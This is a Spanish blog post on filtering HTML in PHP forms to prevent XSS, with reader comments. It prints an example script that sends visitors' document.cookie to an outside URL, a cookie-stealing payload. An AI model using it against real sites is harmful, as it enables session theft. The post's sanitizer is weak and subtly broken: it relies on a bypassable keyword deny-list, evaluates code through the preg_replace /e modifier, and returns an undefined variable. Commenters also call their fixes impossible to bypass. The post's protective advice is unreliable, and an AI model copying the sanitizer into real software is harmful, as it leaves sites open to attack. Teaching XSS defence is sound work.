Inicio | Pedro Santana |  RSS  Mi tumblelog  Mis photos  Mi CV

 

Previniendo ataques XSS

El título original de este post era “Filtrando etiquetas HTML” pero ya que lo estoy recuperando de la cache de Google le voy a dar una actualizada de título a uno más llamativo :P

XSS (Cross Site Scripting).- Es el ataque basado en la explotación de vulnerabilidades del sistema de validación de HTML incrustado. El problema es que normalmente no se valida correctamente. Fuente: wikipedia

Cuando dejamos un formulario (contanto, comentarios, firmas de visita, etc.) que acepte HTML disponible a nuestros visitantes nos encontramos que no todos tienen buenas intenciones, por lo que es sumamente importante que no dejemos la puerta abierta para que abusen. Por ejemplo alguien puede postear lo siguiente:

JAVASCRIPT [Show Plain Code]:
  1. <script>
  2. var url = ‘http://www.mysite.com/send_me_passwords.cgi’;
  3. url = url + ‘?cookie=’ + escape(document.cookie);
  4. document.write(‘</script><script src="’+url+‘">’);
  5. </script>

Esto permitirá a quien lo ponga recolectar las cookies (y posiblemente los detalles de login) de cualquier usuario que visite la página. La primera forma de defensa contra esto es la función de PHP strip_tags() . Esta elimina las etiquetas HTML de una cadena, dejando solo las etiquetas que se especifiquen.

  1. function eliminaEtiquetasMalas($fuente) {
  2.         $etiquetasValidas='<ul><li><a><abbr><acronym>' .
  3.                 '<blockquote><code><pre>' .
  4.                 '<em><i><strike><s><strong><b><br />';
  5.         return strip_tags($fuente, $etiquetasValidas);
  6. }
  7. </b></strong></s></strike></i></em>

Pero no nos salvará de que traten de usar las etiquetas válidas y ponerle atributos maliciosos como javascript: por ejemplo, por lo que hay que tratar de frenarlos creando una nueva función que elimine el peligro de los atributos en las etiquetas válidas.

  1. function eliminarAtributosMalos($etiquetaFuente) {
  2.         $atributosMalos = 'javascript:|onclick|ondblclick|onmousedown|onmouseup|onmouseover|onmousemove|onmouseout|onkeypress|onkeydown|onkeyup|style|class';
  3.         $etiquetaFuente= stripslashes($etiquetaFuente);
  4.         $etiquetaFuente= preg_replace("/$atributosMalos/i", 'prohibido', $etiquetaFuente);
  5.         return $etiquetaFuente;
  6. }

Y con un pequeño cambio en la función anterior la mandamos llamar.

  1. function eliminaEtiquetasMalas($fuente) {
  2.         $etiquetasValidas='<ul><li><a><abbr><acronym>' .
  3.                 '<blockquote><code><pre>' .
  4.                 '<em><i><strike><s><strong><b><br />';
  5.         $fuente= strip_tags($fuente, $etiquetasValidas);
  6.         return preg_replace('/< (.*?)>/ie', "'< '.eliminarAtributosMalos('\\1').'>'", $source);
  7. }
  8. </b></strong></s></strike></i></em>

Entonces ahora si ya esta listo esto, para probarlo basta con lo siguiente.

  1. // Pondrá la palabra "prohibido" a lo no válido.
  2. echo eliminaEtiquetasMalas('<a href="javascript:alert(1);" target="_blank" onMouseOver = "alert(1)">test</a>');

8 comentarios en “Previniendo ataques XSS”

 

gringo

Muy buena esta data… Tengo un par de formularios que hice que tienen 0 (cero) protección contra estos ataques :P .

No son nada del otro mundo (nada crítico): un guestbook y un formulario de contacto… pero… igualmente lo voy a implementar…

pecesama

protegeles cuanto antes ya que en especial el guestbook es peligroso tenerlo así.

Alex

Justo lo que andaba buscando. Gracias!

yo

if (!function_exists(“GetSQLValueString”)) {
function GetSQLValueString($theValue, $theType, $theDefinedValue = “”, $theNotDefinedValue = “”)
{
$theValue = get_magic_quotes_gpc() ? stripslashes($theValue) : $theValue;

$theValue = function_exists(“mysql_real_escape_string”) ? mysql_real_escape_string($theValue) : mysql_escape_string($theValue);

switch ($theType) {
case “text”:
$theValue = ($theValue != “”) ? “‘” . $theValue . “‘” : “NULL”;
break;
case “int”:
$theValue = ($theValue != “”) ? intval($theValue) : “NULL”;
break;
case “double”:
$theValue = ($theValue != “”) ? “‘” . doubleval($theValue) . “‘” : “NULL”;
break;
case “date”:
$theValue = ($theValue != “”) ? “‘” . $theValue . “‘” : “NULL”;
break;
case “defined”:
$theValue = ($theValue != “”) ? $theDefinedValue : $theNotDefinedValue;
break;
case “like1″:
$theValue = ($theValue != “”) ? “‘%” . $theValue . “%’” : “NULL”;
break;
case “like2″:
$theValue = ($theValue != “”) ? “‘” . $theValue . “%’” : “NULL”;
break;
case “like3″:
$theValue = ($theValue != “”) ? “‘%” . $theValue . “‘” : “NULL”;
break;
}

$theValue=htmlentities($theValue); // agregado

return $theValue;
}

$textoabuscar=GetSQLValueString($_GET['palabra'], “text”);

ahi esta! imposible que pasen esta seguridad….!

farra

htmlentities es la funcion de PHP que hace todo por vos… no hacen falta mas funciones.. ahi es imposible que te hagan un Ataque XSS…

htmlentities($valorabuscar);

WH

Y DONDE PUEDO INSERTAR ESE CODIGO DE SEGURIDAD PARA UNA WEB EN PHP NUKE PLATINUM?? mi correo es wolfhen@hotmail.com. gracias por su ayuda.

Victor De la Rocha

Sencillito, claro y fácil de usar. Thanks :)

pecesama

y mejor que se va a poner cuando sea un helper para flavor

 

Deja un comentario